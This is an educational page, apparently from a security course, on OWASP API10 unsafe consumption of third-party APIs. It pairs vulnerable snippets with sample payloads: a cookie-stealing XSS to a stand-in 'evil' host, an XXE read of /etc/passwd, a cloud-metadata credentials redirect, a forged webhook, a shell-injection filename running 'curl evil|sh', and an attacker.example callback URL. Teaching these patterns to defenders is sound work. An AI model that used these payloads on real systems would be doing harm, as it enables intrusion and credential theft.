Back

API10: Unsafe Consumption of APIs - Attack Vectors

Understanding the Attack Surface

⚠️ EDUCATIONAL PURPOSE ONLY — these techniques are for defenders learning to secure their integrations.

Unsafe consumption is exploited by controlling, corrupting, or impersonating a service that the victim application consumes and trusts. The attacker does not need to breach your API directly. They need one of three footholds:

Once any foothold exists, the response body becomes an injection channel that arrives pre-trusted at your most dangerous sinks.

Core Attack Flow

1. Map the integrations
   ↓
   Which third-party APIs / IdPs / webhooks does the target consume?

2. Gain influence over a response
   ↓
   Compromise, MITM, forge, or redirect

3. Craft a payload for the eventual sink
   ↓
   SQL, HTML/JS, XML, serialized object, internal URL, huge body

4. Deliver via the trusted channel
   ↓
   App consumes it without validation

5. Sink fires → injection / XSS / XXE / RCE / SSRF / DoS
   ↓
   Escalate and pivot; poison all customers of the partner

Attack Patterns

1. SQL Injection via Upstream Data

A compromised partner returns hostile values in ordinary-looking fields; the app concatenates them into a query.

// Compromised CRM response
{ "users": [ { "name": "Robert'); DROP TABLE users;--", "email": "x@x.com" } ] }

// Vulnerable consumer
db.query(`INSERT INTO users(name,email)
          VALUES('${u.name}','${u.email}')`);   // injection in YOUR DB

Impact: data destruction, exfiltration, auth bypass — all through a "trusted" feed.

2. Stored/Reflected XSS from Third-Party Text

Upstream description, name, or HTML fields are rendered without output encoding.

// Compromised weather/news API
{ "description": "<script>fetch('//evil/c?'+document.cookie)</script>" }

// Vulnerable render
res.send(`<div>Today: ${weather.description}</div>`);  // XSS executes

Impact: session theft, account takeover, admin-panel compromise when internal dashboards render upstream data.

3. Insecure Deserialization of Partner Payloads

Some integrations exchange serialized objects (Java, .NET, pickle, PHP). Deserializing an attacker-influenced payload can yield remote code execution.

# VULNERABLE - pickle from a partner endpoint
import pickle, requests
data = requests.get('https://partner/feed.pickle').content
obj = pickle.loads(data)     # RCE if the partner/MITM controls the bytes

Impact: full RCE on the consuming host. Never deserialize untrusted formats; use JSON with a strict schema.

4. XXE via Third-Party XML

Partner XML parsed with external entities enabled leaks files or triggers SSRF.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<order>&xxe;</order>
# VULNERABLE - default parser resolves entities
from lxml import etree
tree = etree.fromstring(partner_xml)   # reads /etc/passwd into the doc

Impact: local file disclosure, SSRF, DoS (billion-laughs). Disable DTD/entity resolution when parsing upstream XML.

5. Following Redirects to Internal Targets (Consumption → SSRF)

The upstream returns a 3xx pointing at internal infrastructure; the default client follows it.

Partner responds:  302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Vulnerable client follows automatically
requests.get(partner_url)     # allow_redirects=True by default
# → cloud credentials returned to the attacker

Impact: cloud metadata/credential theft, internal service access. Disable auto-redirects on integration clients.

6. TLS Not Enforced → Man-in-the-Middle Injection

Plain HTTP, or HTTPS with verification disabled, lets a network attacker rewrite responses.

// VULNERABLE - verification disabled "to fix cert errors"
const agent = new https.Agent({ rejectUnauthorized: false });
axios.get('https://partner/data', { httpsAgent: agent });
// MITM swaps the body for a malicious one; app trusts it

Impact: attacker fully controls "trusted" responses without ever breaching the partner.

7. Forged Webhooks (Unverified Signatures)

Webhook endpoints that skip signature verification accept events from anyone who knows the URL.

POST /webhooks/payment  HTTP/1.1
Content-Type: application/json

{ "event": "payment.succeeded", "order_id": 1001, "amount": 0 }
# VULNERABLE - no HMAC check
@app.post('/webhooks/payment')
def hook():
    e = request.json
    if e['event'] == 'payment.succeeded':
        fulfill(e['order_id'])   # attacker gets free goods

Impact: fraud, unauthorized state changes, business-logic bypass. Verify the provider's HMAC/signature header.

8. Forged "Success" Responses (Business-Logic Bypass)

Trusting a status flag from an interceptable call grants access that was never paid for or verified.

# VULNERABLE
resp = requests.post('https://pay/charge', json=order)   # MITM-able
if resp.json()['status'] == 'success':
    grant_premium(order['user_id'])   # forged flag → free premium

Impact: revenue loss, privilege escalation. Confirm via signed receipts or a server-to-server verification call.

9. IdP Claim Injection (name/email used unsanitized)

OIDC/SAML claims feel authoritative but are attacker-influenceable (self-registered display names, spoofed assertions).

// IdP userinfo
{ "email": "a@b.com", "name": "<img src=x onerror=alert(1)>" }

// VULNERABLE - claim rendered / trusted for authz
render(`Welcome ${claims.name}`);          // XSS
if (claims.email.endsWith('@corp.com')) grantAdmin();  // spoofable

Impact: XSS, authorization bypass via forged/loose claims. Encode claims and verify signatures + issuer + audience.

10. Oversized / Slow Responses → Denial of Service

A hostile or broken upstream returns a multi-gigabyte body or dribbles bytes forever.

# VULNERABLE - no timeout, no size cap
data = requests.get(partner_url).json()   # loads entire body into memory

Impact: memory exhaustion, thread/connection starvation, cascading outage. Enforce timeouts and streaming size limits.

11. Malformed / Unexpected Schema → Crash or Field Overwrite

Missing schema validation means unexpected types or extra keys break logic or overwrite fields (mass assignment via upstream data).

# Upstream sends {"role":"admin", ...} unexpectedly
user.update(**partner_response)   # role silently overwritten

Impact: privilege escalation, corrupted records, unhandled-exception DoS.

12. Command / Template Injection from Upstream Fields

Upstream values passed to a shell or a server-side template engine.

# VULNERABLE - filename from a partner used in a shell
os.system(f"convert /tmp/{partner['filename']} out.png")
# filename = "a.jpg; curl evil|sh"  → command injection

Impact: RCE, SSTI. Never interpolate upstream data into shells or templates; use safe APIs and allowlists.

13. Poisoned Cached / Aggregated Content

Apps that aggregate and cache third-party content will store and re-serve a poisoned response to every user until eviction.

# VULNERABLE - cache the raw upstream HTML, serve to everyone
cache.set('headlines', requests.get(news_api).json())  # one bad response poisons all

Impact: mass stored XSS / content injection with a single upstream compromise.

14. Attacker-Controlled Callback / Endpoint URLs

When your API accepts an upstream-supplied or user-supplied integration URL, the attacker points it at their own server (to feed payloads) or at your internals (SSRF).

POST /integrations/connect
{ "api_base": "http://attacker.example/v1" }   # all future calls go to attacker

Impact: full response control, SSRF, exfiltration. Allowlist integration hosts server-side.

Chaining and Bypasses

Redirect + SSRF + Metadata

Trusted partner (compromised) → 302 → 169.254.169.254
→ app follows → cloud creds leaked → account takeover

MITM + Deserialization

Weak TLS → attacker rewrites body → serialized gadget chain
→ deserialize() → RCE on the consumer

Compromised Partner + Stored XSS in Admin Panel

Poisoned feed field → stored verbatim → internal dashboard renders it
→ XSS in an authenticated admin session → privilege escalation

Why Simple Defenses Fail

Key Takeaways

  1. Upstream responses are untrusted input — every field is attacker-reachable.
  2. Injection sinks don't care about data origin — SQL/HTML/XML/deserializers fire regardless.
  3. Transport weaknesses enable MITM — enforce TLS verification and consider pinning.
  4. Redirects and callbacks turn consumption into SSRF.
  5. Success flags must be cryptographically verified.
  6. DoS is a first-class risk from oversized/slow responses.
  7. One compromised partner scales to all its customers.

Next Steps